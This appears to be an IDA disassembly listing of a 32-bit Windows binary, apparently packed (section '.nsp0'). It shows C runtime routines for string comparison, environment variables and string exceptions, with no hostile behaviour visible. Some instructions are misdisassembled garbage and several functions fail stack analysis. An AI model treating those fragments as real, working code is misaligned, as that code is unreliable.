push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; dword_427180
mov ebp, eax
cmp ebp, edi
jz short loc_425D2A
push ebp
call sub_41BBCB
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425D2A
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; dword_427180
test eax, eax
jz short loc_425D2A
push edi
push [esp+18h+var_4]
call sub_425FAC
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425CDA
loc_425D22: ; CODE XREF: sub_425CC1+11j
xor eax, eax
loc_425D24: ; CODE XREF: sub_425CC1+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425D2A: ; CODE XREF: sub_425CC1+29j
; sub_425CC1+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425D24
sub_425CC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425D2F proc near ; CODE XREF: sub_425C82+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_51840FB8 = dword ptr 51840FC0h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CC8
push offset sub_4233D4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4E1800, ebx
push 1
pop edi
jnz short loc_425DA2
push edi
mov eax, offset dword_427918
push eax
push edi
push eax
push ebx
push ebx
call dword_427008 ; CompareStringW
test eax, eax
jz short loc_425D7F
mov dword_4E1800, edi
jmp short loc_425DA2
; ---------------------------------------------------------------------------
loc_425D7F: ; CODE XREF: sub_425D2F+46j
push edi
mov eax, offset dword_4D10A8
push eax
push edi
push eax
push ebx
push ebx
call dword_42700C ; CompareStringA
test eax, eax
jz loc_425F98
mov dword_4E1800, 2
loc_425DA2: ; CODE XREF: sub_425D2F+31j
; sub_425D2F+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425DB9
push esi
push [ebp+arg_8]
call sub_422BDF
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425DB9: ; CODE XREF: sub_425D2F+78j
cmp [ebp+arg_14], ebx
jle short loc_425DCE
push [ebp+arg_14]
push [ebp+arg_10]
call sub_422BDF
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425DCE: ; CODE XREF: sub_425D2F+8Dj
mov eax, dword_4E1800
cmp eax, 2
jnz short loc_425DF3
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42700C ; CompareStringA
jmp loc_425F9A
; ---------------------------------------------------------------------------
loc_425DF3: ; CODE XREF: sub_425D2F+A7j
cmp eax, edi
jnz loc_425F98
cmp [ebp+arg_18], ebx
jnz short loc_425E08
mov eax, dword_4E15C0
mov [ebp+arg_18], eax
loc_425E08: ; CODE XREF: sub_425D2F+CFj
cmp esi, ebx
jz short loc_425E15
cmp [ebp+arg_14], ebx
jnz loc_425EAD
loc_425E15: ; CODE XREF: sub_425D2F+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425E22
loc_425E1A: ; CODE XREF: sub_425D2F+13Cj
; sub_425D2F+16Dj
push 2
loc_425E1C: ; CODE XREF: sub_425D2F+146j
pop eax
jmp loc_425F9A
; ---------------------------------------------------------------------------
loc_425E22: ; CODE XREF: sub_425D2F+E9j
cmp [ebp+arg_14], edi
jle short loc_425E2E
loc_425E27: ; CODE XREF: sub_425D2F+151j
; sub_425D2F+159j ...
mov eax, edi
jmp loc_425F9A
; ---------------------------------------------------------------------------
loc_425E2E: ; CODE XREF: sub_425D2F+F6j
cmp esi, edi
jg short loc_425E73
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 0B40000h
cmp [ebp+arg_51840FB8], eax
add [eax], eax
add [ebx], bh
rep jle short loc_425E77
cmp [ebp+var_3C], 2
jb short loc_425E73
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425E73
loc_425E59: ; CODE XREF: sub_425D2F+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425E73
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_425E6D
cmp cl, dl
jbe short loc_425E1A
loc_425E6D: ; CODE XREF: sub_425D2F+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_425E59
loc_425E73: ; CODE XREF: sub_425D2F+101j
; sub_425D2F+120j ...
push 3
jmp short loc_425E1C
; ---------------------------------------------------------------------------
loc_425E77: ; CODE XREF: sub_425D2F+119j
cmp [ebp+arg_14], ebx
jle short loc_425EAD
cmp [ebp+var_3C], 2
jb short loc_425E27
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425E27
loc_425E8A: ; CODE XREF: sub_425D2F+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425E27
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_425EA2
cmp cl, dl
jbe loc_425E1A
loc_425EA2: ; CODE XREF: sub_425D2F+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_425E8A
jmp loc_425E27
; ---------------------------------------------------------------------------
loc_425EAD: ; CODE XREF: sub_425D2F+E0j
; sub_425D2F+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_427184 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_425F98
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_425EFC
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_425EFC: ; CODE XREF: sub_425D2F+1B5j
cmp [ebp+var_24], ebx
jz loc_425F98
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_427184
call esi ; dword_427184
test eax, eax
jz short loc_425F98
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; dword_427184
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_425F98
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41C1D0
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_425F67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_425F67: ; CODE XREF: sub_425D2F+224j
cmp edi, ebx
jz short loc_425F98
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_427184 ; MultiByteToWideChar
test eax, eax
jz short loc_425F98
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_427008 ; CompareStringW
jmp short loc_425F9A
; ---------------------------------------------------------------------------
loc_425F98: ; CODE XREF: sub_425D2F+63j
; sub_425D2F+C6j ...
xor eax, eax
loc_425F9A: ; CODE XREF: sub_425D2F+BFj
; sub_425D2F+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425D2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425FAC proc near ; CODE XREF: sub_425CC1+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_426010
push 3Dh
push [ebp+arg_0]
call sub_4261F2
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_426010
cmp [ebp+arg_0], esi
jz short loc_426010
mov eax, dword_4E1520
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4E1524
jnz short loc_425FF6
push eax
call sub_42618B
pop ecx
mov dword_4E1520, eax
loc_425FF6: ; CODE XREF: sub_425FAC+3Cj
cmp eax, edi
jnz short loc_42604E
cmp [ebp+arg_4], edi
jz short loc_426018
cmp dword_4E1528, edi
jz short loc_426018
call sub_425CC1
test eax, eax
jz short loc_42604E
loc_426010: ; CODE XREF: sub_425FAC+Dj
; sub_425FAC+22j ...
or eax, 0FFFFFFFFh
loc_426013: ; CODE XREF: sub_425FAC+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426018: ; CODE XREF: sub_425FAC+51j
; sub_425FAC+59j
cmp ebx, edi
jnz loc_42612C
push 4
call sub_41BBCB
cmp eax, edi
pop ecx
mov dword_4E1520, eax
jz short loc_426010
mov [eax], edi
cmp dword_4E1528, edi
jnz short loc_42604E
push 4
call sub_41BBCB
cmp eax, edi
pop ecx
mov dword_4E1528, eax
jz short loc_426010
mov [eax], edi
loc_42604E: ; CODE XREF: sub_425FAC+4Cj
; sub_425FAC+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4E1520
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426133
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4260AE
cmp dword ptr [edi], 0
jz short loc_4260AE
test ebx, ebx
jz short loc_4260A6
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B961
pop ecx
loc_426080: ; CODE XREF: sub_425FAC+E2j
cmp dword ptr [edi], 0
jz short loc_426090
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_426080
; ---------------------------------------------------------------------------
loc_426090: ; CODE XREF: sub_425FAC+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41BA78
pop ecx
test eax, eax
pop ecx
jz short loc_4260E0
jmp short loc_4260DB
; ---------------------------------------------------------------------------
loc_4260A6: ; CODE XREF: sub_425FAC+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4260E0
; ---------------------------------------------------------------------------
loc_4260AE: ; CODE XREF: sub_425FAC+BDj
; sub_425FAC+C2j
test ebx, ebx
jnz short loc_42612C
test esi, esi
jge short loc_4260B8
neg esi
loc_4260B8: ; CODE XREF: sub_425FAC+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41BA78
pop ecx
test eax, eax
pop ecx
jz loc_426010
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4260DB: ; CODE XREF: sub_425FAC+F8j
mov dword_4E1520, eax
loc_4260E0: ; CODE XREF: sub_425FAC+F6j
; sub_425FAC+100j
cmp [ebp+arg_4], 0
jz short loc_42612C
push [ebp+arg_0]
call sub_41B890
inc eax
inc eax
push eax
call sub_41BBCB
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42612C
push [ebp+arg_0]
push esi
call sub_41C550
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 0B40000h
push ds
push esi
call sub_41B961
pop ecx
loc_42612C: ; CODE XREF: sub_425FAC+6Ej
; sub_425FAC+104j ...
xor eax, eax
jmp loc_426013
sub_425FAC endp
; =============== S U B R O U T I N E =======================================
sub_426133 proc near ; CODE XREF: sub_425FAC+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4E1520
push edi
mov eax, [esi]
test eax, eax
jz short loc_42616E
mov edi, [esp+8+arg_4]
loc_426145: ; CODE XREF: sub_426133+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425C82
add esp, 0Ch
test eax, eax
jnz short loc_426164
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_42617E
test al, al
jz short loc_42617E
loc_426164: ; CODE XREF: sub_426133+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426145
loc_42616E: ; CODE XREF: sub_426133+Cj
mov eax, esi
sub eax, dword_4E1520
sar eax, 2
neg eax
loc_42617B: ; CODE XREF: sub_426133+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42617E: ; CODE XREF: sub_426133+2Bj
; sub_426133+2Fj
mov eax, esi
sub eax, dword_4E1520
sar eax, 2
jmp short loc_42617B
sub_426133 endp
; =============== S U B R O U T I N E =======================================
sub_42618B proc near ; CODE XREF: sub_425FAC+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_42619A
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_42619A: ; CODE XREF: sub_42618B+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4261AC
loc_4261A2: ; CODE XREF: sub_42618B+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4261A2
loc_4261AC: ; CODE XREF: sub_42618B+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41BBCB
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4261CD
push 9
call sub_41E0F9
pop ecx
loc_4261CD: ; CODE XREF: sub_42618B+38j
mov eax, [edi]
mov ebx, edi
loc_4261D1: ; CODE XREF: sub_42618B+5Bj
test eax, eax
jz short loc_4261E8
push eax
add ebx, 4
call sub_426265
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4261D1
; ---------------------------------------------------------------------------
loc_4261E8: ; CODE XREF: sub_42618B+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_42618B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261F2 proc near ; CODE XREF: sub_425FAC+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4E295C, 0
jnz short loc_42620D
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C650
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42620D: ; CODE XREF: sub_4261F2+Aj
mov ecx, [ebp+arg_0]
loc_426210: ; CODE XREF: sub_4261F2+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426253
movzx edx, al
test byte_4E2A61[edx], 4
jz short loc_42623F
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_42624A
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42624E
jmp short loc_426247
; ---------------------------------------------------------------------------
loc_42623F: ; CODE XREF: sub_4261F2+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426253
loc_426247: ; CODE XREF: sub_4261F2+4Bj
inc ecx
jmp short loc_426210
; ---------------------------------------------------------------------------
loc_42624A: ; CODE XREF: sub_4261F2+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42624E: ; CODE XREF: sub_4261F2+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426253: ; CODE XREF: sub_4261F2+25j
; sub_4261F2+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4261F2 endp
; =============== S U B R O U T I N E =======================================
sub_426265 proc near ; CODE XREF: sub_41869A+21p
; sub_42618B+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42628C
push esi
call sub_41B890
inc eax
push eax
call sub_41BBCB
pop ecx
test eax, eax
pop ecx
jz short loc_42628C
push esi
push eax
call sub_41C550
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42628C: ; CODE XREF: sub_426265+7j
; sub_426265+1Aj
xor eax, eax
pop esi
retn
sub_426265 endp
; =============== S U B R O U T I N E =======================================
sub_426290 proc near ; CODE XREF: sub_40D3C6+15p
; sub_40D41F+15p ...
mov eax, offset loc_426CC8
call sub_41D304
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_40D5C9
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_41B890
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_40D605
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4262EA
lea eax, [ebp-3Ch]
push offset dword_428058
push eax
mov dword ptr [ebp-3Ch], offset off_427CE4
call sub_42676B
pop esi
sub_426290 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262EA proc near ; CODE XREF: sub_426290+3Fp
; sub_4264BC+3Fp
mov eax, offset loc_426CDC
call sub_41D304
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset byte_443398
call sub_426690
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_40D5C9
push dword_427698
mov ecx, edi
push 0
push ebx
call sub_40D476
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D04
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_4262EA endp
; =============== S U B R O U T I N E =======================================
sub_42634E proc near ; DATA XREF: .nsp0:00427CE8o
; .nsp0:00427D08o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_42635A
mov eax, offset dword_4276A8
locret_42635A: ; CODE XREF: sub_42634E+5j
retn
sub_42634E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42635B proc near ; DATA XREF: .nsp0:00427D0Co
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4263D1
lea eax, [ebp+var_1C]
push offset dword_4280C8
push eax
call sub_42676B
sub_42635B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426378 proc near ; CODE XREF: .nsp0:004263B8p
; DATA XREF: .nsp0:004280CCo
mov eax, offset loc_426CF0
call sub_41D304
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_427D04
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D5C9
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_426717
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_426378 endp
; ---------------------------------------------------------------------------
loc_4263B5: ; DATA XREF: .nsp0:off_427D04o
push esi
mov esi, ecx
call sub_426378
test byte ptr [esp+8], 1
jz short loc_4263CB
push esi
call sub_41D323
pop ecx
loc_4263CB: ; CODE XREF: .nsp0:004263C2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4263D1 proc near ; CODE XREF: sub_42635B+Ap
; sub_4264A4+7p ...
mov eax, offset loc_426D04
call sub_41D304
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_4266CD
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_40D5C9
push dword_427698
mov ecx, edi
push 0
push ebx
call sub_40D476
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D04
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_4263D1 endp
; =============== S U B R O U T I N E =======================================
sub_42642E proc near ; CODE XREF: sub_42646B+20p
; DATA XREF: .nsp0:0042805Co
mov eax, offset loc_426D18
call sub_41D304
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_427D04
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D5C9
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_426717
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_42642E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42646B proc near ; DATA XREF: .nsp0:00427CECo
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4264A4
lea eax, [ebp+var_1C]
push offset dword_428058
push eax
call sub_42676B
loc_426488: ; DATA XREF: .nsp0:off_427CE4o
push esi
mov esi, ecx
call sub_42642E
test [esp+20h+var_18], 1
jz short loc_42649E
push esi
call sub_41D323
pop ecx
loc_42649E: ; CODE XREF: sub_42646B+2Aj
mov eax, esi
pop esi
retn 4
sub_42646B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4264A4 proc near ; CODE XREF: sub_42646B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4263D1
mov dword ptr [esi], offset off_427CE4
mov eax, esi
pop esi
retn 4
sub_4264A4 endp
; =============== S U B R O U T I N E =======================================
sub_4264BC proc near ; CODE XREF: sub_40D476+13p
; sub_40D63A+Ep
mov eax, offset loc_426D2C
call sub_41D304
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_40D5C9
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_41B890
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_40D605
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4262EA
lea eax, [ebp-3Ch]
push offset dword_428180
push eax
mov dword ptr [ebp-3Ch], offset off_427D14
call sub_42676B
pop esi
sub_4264BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426516 proc near ; CODE XREF: sub_426553+20p
; DATA XREF: .nsp0:00428184o
mov eax, offset loc_426D40
call sub_41D304
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_427D04
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D5C9
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_426717
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_426516 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426553 proc near ; DATA XREF: .nsp0:00427D1Co
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_42658C
lea eax, [ebp+var_1C]
push offset dword_428180
push eax
call sub_42676B
loc_426570: ; DATA XREF: .nsp0:off_427D14o
push esi
mov esi, ecx
call sub_426516
test [esp+20h+var_18], 1
jz short loc_426586
push esi
call sub_41D323
pop ecx
loc_426586: ; CODE XREF: sub_426553+2Aj
mov eax, esi
pop esi
retn 4
sub_426553 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42658C proc near ; CODE XREF: sub_426553+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_4263D1
mov dword ptr [esi], offset off_427D14
mov eax, esi
pop esi
retn 4
sub_42658C endp
; =============== S U B R O U T I N E =======================================
sub_4265A4 proc near ; DATA XREF: .nsp0:00429018o
; FUNCTION CHUNK AT 004265DA SIZE 0000000C BYTES
test byte_4E180C, 1
jnz short loc_4265B4
or byte_4E180C, 1
loc_4265B4: ; CODE XREF: sub_4265A4+7j
call sub_4265CE
test byte_4E2B98, 1
jnz short loc_4265C9
or byte_4E2B98, 1
loc_4265C9: ; CODE XREF: sub_4265A4+1Cj
jmp loc_4265DA
sub_4265A4 endp
; =============== S U B R O U T I N E =======================================
sub_4265CE proc near ; CODE XREF: sub_4265A4:loc_4265B4p
push offset nullsub_1
call sub_41D6E0
pop ecx
retn
sub_4265CE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4265A4
loc_4265DA: ; CODE XREF: sub_4265A4:loc_4265C9j
push offset nullsub_1
call sub_41D6E0
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4265A4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4265E8 proc near ; CODE XREF: sub_40CD4C+5Ep
; sub_40F168+14Ap ...
jmp dword_427228
sub_4265E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4265EE proc near ; CODE XREF: sub_41CF70+23p
; sub_41D214+13p
jmp dword_4271A0
sub_4265EE endp
; =============== S U B R O U T I N E =======================================
sub_4265F4 proc near ; CODE XREF: .nsp0:00417954p
; .nsp0:0041796Bp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4E15B0, 0
push ebx
jnz short loc_42663A
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426606: ; CODE XREF: sub_4265F4+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426618
cmp bx, 41h
jb short loc_426618
add ebx, 20h
loc_426618: ; CODE XREF: sub_4265F4+19j
; sub_4265F4+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_42662A
cmp ax, 41h
jb short loc_42662A
add eax, 20h
loc_42662A: ; CODE XREF: sub_4265F4+2Bj
; sub_4265F4+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_42666A
cmp bx, ax
jz short loc_426606
jmp short loc_42666A
; ---------------------------------------------------------------------------
loc_42663A: ; CODE XREF: sub_4265F4+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426644: ; CODE XREF: sub_4265F4+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_4267A5
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4267A5
pop ecx
test bx, bx
pop ecx
jz short loc_426668
cmp bx, ax
jz short loc_426644
loc_426668: ; CODE XREF: sub_4265F4+6Dj
pop edi
pop esi
loc_42666A: ; CODE XREF: sub_4265F4+3Dj
; sub_4265F4+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4265F4 endp
; =============== S U B R O U T I N E =======================================
sub_426674 proc near ; DATA XREF: .nsp0:off_427D3Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426717
test [esp+4+arg_0], 1
jz short loc_42668A
push esi
call sub_41D323
pop ecx
loc_42668A: ; CODE XREF: sub_426674+Dj
mov eax, esi
pop esi
retn 4
sub_426674 endp
; =============== S U B R O U T I N E =======================================
sub_426690 proc near ; CODE XREF: sub_4262EA+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D3C
push dword ptr [edi]
call sub_41B890
inc eax
push eax
call sub_41D665
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4266BF
push dword ptr [edi]
push eax
call sub_41C550
pop ecx
pop ecx
loc_4266BF: ; CODE XREF: sub_426690+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_426690 endp
; =============== S U B R O U T I N E =======================================
sub_4266CD proc near ; CODE XREF: sub_4263D1+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D3C
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_42670A
push dword ptr [edi+4]
call sub_41B890
inc eax
push eax
call sub_41D665
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_426710
push dword ptr [edi+4]
push eax
call sub_41C550
pop ecx
pop ecx
jmp short loc_426710
; ---------------------------------------------------------------------------
loc_42670A: ; CODE XREF: sub_4266CD+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_426710: ; CODE XREF: sub_4266CD+2Ej
; sub_4266CD+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_4266CD endp
; =============== S U B R O U T I N E =======================================
sub_426717 proc near ; CODE XREF: sub_426378+2Bp
; sub_42642E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D3C
jz short locret_42672C
push dword ptr [ecx+4]
call sub_41D323
pop ecx
locret_42672C: ; CODE XREF: sub_426717+Aj
retn
sub_426717 endp
; =============== S U B R O U T I N E =======================================
sub_42672D proc near ; DATA XREF: .nsp0:00427D40o
